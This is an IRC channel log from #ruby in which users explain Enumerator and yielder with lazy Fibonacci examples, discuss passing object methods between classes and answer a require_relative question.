saslam has quit [Quit: Leaving]
jamesaxl has quit [Ping timeout: 240 seconds]
<hxegon> one sec, I'll post an eval.in
jamesaxl has joined #ruby
<hxegon> https://eval.in/779851 Let me know you need any explanation
nerglish has quit [Quit: nerglish]
Deetss has joined #ruby
workmad3 has joined #ruby
sid_fules has quit [Read error: Connection reset by peer]
rippa has quit [Quit: {#`%${%&`+'${`%&NO CARRIER]
sdwrage has quit [Quit: Leaving]
sdwrage has joined #ruby
sid_fules has joined #ruby
nankyokusei has quit [Read error: Connection reset by peer]
Deetss has quit [Client Quit]
nankyokusei has joined #ruby
juggler has quit [Quit: Leaving]
<hxegon> got it
ionte has quit [Ping timeout: 240 seconds]
tomphp has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
<hxegon> still don't really understand what yielder is though :P
ionte has joined #ruby
lagweezle_away is now known as lagweezle
<havenwood> hxegon: consider the following:
<havenwood> >> numbers = Enumerator.new(3) { |yielder| yielder << 4; yielder << 2; yielder << 0 }; numbers.to_a
<ruby[bot]> havenwood: # => [4, 2, 0] (https://eval.in/779856)
<havenwood> hxegon: numbers.size #=> 3
<havenwood> hxegon: numbers.first #=> 4
lagweezle is now known as lagweezle_away
<dminuoso> yield is a stupid keyword, named to only make sense in the context of blocks used by Enumerator..
* dminuoso sighs
<dminuoso> bloodpressure rising!
jusa has joined #ruby
<hxegon> havenwood: I'm just gonna stare at that in for a while
<dminuoso> hxegon: Think of them as simplified coroutines.
rgtk has joined #ruby
qba73 has quit [Read error: Connection reset by peer]
zapata has quit [Quit: WeeChat 1.7]
<hxegon> >> def iterate(x, &block); Enumerator.new do |yr|; loop do; yr.yield(x); x = block.call(x); end; end.lazy; end; fib = iterate([1, 1]) { |a, b| [b, (a + b)] }.map(&:first); fib.first(10)
<ruby[bot]> hxegon: I'm terribly sorry, I could not evaluate your code because of an error: NoMethodError:undefined method `[]' for nil:NilClass
qba73 has joined #ruby
<hxegon> that works in pry I swear
sid_fules has quit [Read error: Connection reset by peer]
<hxegon> can't see a typo
<dminuoso> hxegon: That error is indicative of ruby[bot] failing to use eval.in
tomphp has joined #ruby
<havenwood> >> fibs = Enumerator.new(Float::INFINITY) { |yielder|; x, y = 0, 1; loop { yielder << x; x, y = y, x + y } }; fibs.first 5
<dminuoso> hxegon: You dont see any eval.in link -> that should be a hint
zapata has joined #ruby
<ruby[bot]> havenwood: I'm terribly sorry, I could not evaluate your code because of an error: NoMethodError:undefined method `[]' for nil:NilClass
<havenwood> #=> [0, 1, 1, 2, 3]
jusa has quit [Ping timeout: 255 seconds]
<havenwood> >> require 'matrix'; fibs = 0.step.lazy { |n| (Matrix[[0, 1], [1, 1]] ** n.pred)[1, 1].to_i }; fibs.first 5
<ruby[bot]> havenwood: # => [0, 1, 2, 3, 4] (https://eval.in/779859)
<havenwood> hxegon: ^ there are other ways to create Enumerators
antgel has joined #ruby
<hxegon> #step, what?
* hxegon teleports to docs
<havenwood> err, i mean:
<havenwood> >> require 'matrix'; fibs = 0.step.lazy.map { |n| (Matrix[[0, 1], [1, 1]] ** n.pred)[1, 1].to_i }; fibs.first 5
<ruby[bot]> havenwood: # => [0, 1, 1, 2, 3] (https://eval.in/779860)
ldnunes has quit [Quit: Leaving]
haylon has quit [Read error: Connection reset by peer]
millerti has joined #ruby
railswebdev has quit [Ping timeout: 255 seconds]
benlieb has joined #ruby
sid_fules has joined #ruby
<hxegon> Still not 100%, but I think I can at least recognize more easily when Enumerator is useful in everyday code
<hxegon> also, we got clojure's iterate, which is pretty nice
kristofferR has quit [Quit: Textual IRC Client: www.textualapp.com]
<benlieb> I'm looking for recommendations on where to look for ruby / rails jobs? Any suggestions? I
<benlieb> Been freelance mostly for 15 years, but going to go back to the "real world" for a bit.
<havenwood> hxegon: here are a few Elxiir.Stream functions implemented with Enumerator in Ruby for fun: https://github.com/havenwood/elixir.rb/blob/master/lib/elixir/stream.rb
<hxegon> ooooo
treeman has quit [Quit: Connection closed for inactivity]
<havenwood> benlieb: Looking for local or remote?
kristofferR has joined #ruby
maattdd has joined #ruby
<hxegon> havenwood: why 0.upto INFINITY instead of loop?
<hxegon> for lols?
<hxegon> wait, nvm, I se
<havenwood> hxegon: 0.step is better
<havenwood> hxegon: that's shorthand for 0.upto(Float::INFINITY)
outreachdan has quit [Read error: Connection reset by peer]
<hxegon> iterate is in there to haha
outreachdan has joined #ruby
maattdd_ has quit [Ping timeout: 240 seconds]
robert_reilly has quit [Quit: Head hit keyboard ZZZzzzZZZzzzz]
outreachdan has quit [Read error: Connection reset by peer]
outreach_ has joined #ruby
j`ey has joined #ruby
ramortegui has quit [Quit: Ex-Chat]
tomphp has quit [Read error: Connection reset by peer]
mim1k has joined #ruby
skweek has joined #ruby
pupsicle has quit [Quit: pupsicle]
Renich___ is now known as Renich
anuxivm has joined #ruby
anuxivm has left #ruby [#ruby]
tomphp has joined #ruby
mim1k has quit [Ping timeout: 260 seconds]
quobo has joined #ruby
ledestin has joined #ruby
oliv_____ has quit [Read error: No route to host]
hobodave has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
rakm has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
sid_fules has quit [Read error: Connection reset by peer]
olivi____ has joined #ruby
negatifze has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
unshadow has quit [Ping timeout: 240 seconds]
rgtk has quit [Ping timeout: 240 seconds]
unshadow has joined #ruby
negatifze has joined #ruby
qba73 has quit []
workmad3 has quit [Ping timeout: 240 seconds]
theunraveler has quit []
sid_fules has joined #ruby
Megan_ has quit []
maattdd has quit [Read error: Connection reset by peer]
ozcanesen has quit [Quit: Textual IRC Client: www.textualapp.com]
nankyokusei has quit [Remote host closed the connection]
dasher^0_o has quit [Ping timeout: 252 seconds]
sid_fules has quit [Read error: Connection reset by peer]
Renich_ has joined #ruby
Renich_ has quit [Client Quit]
hahuang65 has quit [Ping timeout: 240 seconds]
Renich_ has joined #ruby
sid_fules has joined #ruby
patr0clus has joined #ruby
tomphp has quit [Ping timeout: 260 seconds]
_sfiguser has joined #ruby
olivi____ has quit [Remote host closed the connection]
mogaj has joined #ruby
tomphp has joined #ruby
JoshS has quit [Ping timeout: 252 seconds]
hutch34 has quit [Ping timeout: 240 seconds]
mogaj has quit [Ping timeout: 260 seconds]
gusrub has quit [Remote host closed the connection]
biberu has quit []
nemish has quit [Quit: nemish]
nerglish has joined #ruby
mogaj has joined #ruby
lagweezle_away is now known as lagweezle
tomphp has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
Renich_ has quit [Quit: Renich_]
ben__ has quit [Remote host closed the connection]
gusrub has joined #ruby
m_ has joined #ruby
agent_white has quit [Quit: brb]
mogaj has quit [Ping timeout: 260 seconds]
sid_fules has quit [Read error: Connection reset by peer]
sepp2k has quit [Read error: Connection reset by peer]
truenito has joined #ruby
huggles_ has joined #ruby
JoshS has joined #ruby
antgel has quit [Ping timeout: 240 seconds]
huggles_ has quit [Quit: Lost terminal]
rhyselsmore has joined #ruby
DTZUZU has joined #ruby
cagomez has quit []
jcao219 has joined #ruby
sid_fules has joined #ruby
skweek has quit [Ping timeout: 240 seconds]
nerglish has quit [Ping timeout: 255 seconds]
nicesignal has quit [Ping timeout: 260 seconds]
MrBusiness3 is now known as MrBusiness
Fysicus has joined #ruby
outreach_ has quit [Read error: Connection reset by peer]
outreachdan has joined #ruby
DLSteve has quit [Quit: All rise, the honorable DLSteve has left the channel.]
Cohedrin has quit [Read error: Connection reset by peer]
GodFather_ has quit [Ping timeout: 268 seconds]
polishdub has quit [Quit: Leaving]
cisco has joined #ruby
cisco has quit [Max SendQ exceeded]
cisco has joined #ruby
cisco has quit [Max SendQ exceeded]
cisco has joined #ruby
cisco has quit [Client Quit]
bitcycle has joined #ruby
Cohedrin has joined #ruby
<bitcycle> Hey all. Is it possible to pass a class's method to another class?
<bitcycle> i.e. to inject dependencies...
j`ey has left #ruby [#ruby]
marxarelli is now known as marxarelli|afk
god has joined #ruby
god is now known as Guest48918
Guest48918 has quit [Remote host closed the connection]
<toretore> bitcycle: what exactly are you trying to do?
binaryplease has joined #ruby
gizmore|2 has joined #ruby
benlieb has quit [Quit: benlieb]
gizmore has quit [Ping timeout: 260 seconds]
cagomez has joined #ruby
m_ has quit [Quit: leaving]
<bitcycle> I'm trying to pass a class Foo's instance method to another class Bar instance so that Bar instance can call Foo's instance method.
<adam12> You could always pass 'self'
sid_fules has quit [Read error: Connection reset by peer]
<lupine> instance.method(:name)
<ruby[bot]> bitcycle: it seems like you are asking for a specific solution to a problem, instead of asking about your problem. This often leads to bad solutions and increases frustration for you and those trying to help you. More: http://meta.stackexchange.com/a/66378
<toretore> ?xy bitcycle
<adam12> You can use method() too, but meh.
<lupine> but you probably don't want it
<bitcycle> adam12: what's method()?
<lupine> it's a method that returns an instance of Method
<lupine> calling it will call the method on the instance you called method on that you named in your call to method
<lupine> jesus
<adam12> yo dawg, I heard you like method
<lupine> there's no excuse for that, ruby
<bitcycle> I think I'll just rely on a convention of the method name on the Foo class. That seems more OK.
<bitcycle> So, I'll end up passing self and the Bar class will just call the foo instance's method by name.
<lupine> probably best. nice composition. good composition
<adam12> bitcycle: In that case, you can look at Forwardable too
chouhoulis has quit [Ping timeout: 240 seconds]
Cohedrin has quit [Max SendQ exceeded]
sid_fules has joined #ruby
hahuang65 has joined #ruby
toretore has quit [Ping timeout: 240 seconds]
latemus has joined #ruby
Cohedrin has joined #ruby
latemus has quit [Client Quit]
olivi____ has joined #ruby
jusa has joined #ruby
latemus has joined #ruby
cfec0b8d has quit [Ping timeout: 252 seconds]
<bitcycle> Noob ruby question for you all. Is there a way, in the ruby class instance, to call the class instance method explicitly? I'm trying to use self.instance_method but it doesn't like that.
olivi____ has quit [Ping timeout: 240 seconds]
jusa has quit [Ping timeout: 260 seconds]
<al2o3-cr> bitcycle: self.class.method but i'm not quite sure from that
<bitcycle> I'm pretty sure I'm doing something stupid. I just changed to call the method with the assumption that the method it reaches is the one I want.
antgel has joined #ruby
SuperLag has quit [Ping timeout: 258 seconds]
ddffg has quit [Remote host closed the connection]
__Yiota has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
skweek has joined #ruby
sid_fules has quit [Read error: Connection reset by peer]
marxarelli|afk is now known as marxarelli
lxsameer has quit [Quit: WeeChat 1.5]
pickle_ has joined #ruby
gusrub has quit [Remote host closed the connection]
antgel has quit [Ping timeout: 255 seconds]
Vile` has joined #ruby
mim1k has joined #ruby
sid_fules has joined #ruby
gusrub has joined #ruby
SuperLag has joined #ruby
patr0clus has quit [Quit: WeeChat 1.4]
mim1k has quit [Ping timeout: 260 seconds]
pickle_ has quit [Read error: Connection reset by peer]
pickle_ has joined #ruby
<developBIR> if im using "require-relative do i have to put the file extension? for example .rb
<nofxxx> developBIR, nope... and underline, not hyphen
<developBIR> nofxxx, require_relative?
<nofxxx> give it a try
<developBIR> thank you nofxxx
gusrub has quit [Remote host closed the connection]
<nofxxx> developBIR, np
bitcycle has quit [Ping timeout: 268 seconds]
SuperLag_ has joined #ruby
weaksauce has quit [Ping timeout: 260 seconds]
SuperLag has quit [Ping timeout: 258 seconds]
pickle_ has quit [Read error: Connection reset by peer]
pickle_ has joined #ruby
knamehost has joined #ruby
pickle_ has quit [Ping timeout: 260 seconds]
chouhoulis has joined #ruby
nankyokusei has joined #ruby
pickle_ has joined #ruby
oliv_____ has joined #ruby
steffes has joined #ruby
nankyokusei has quit [Ping timeout: 255 seconds]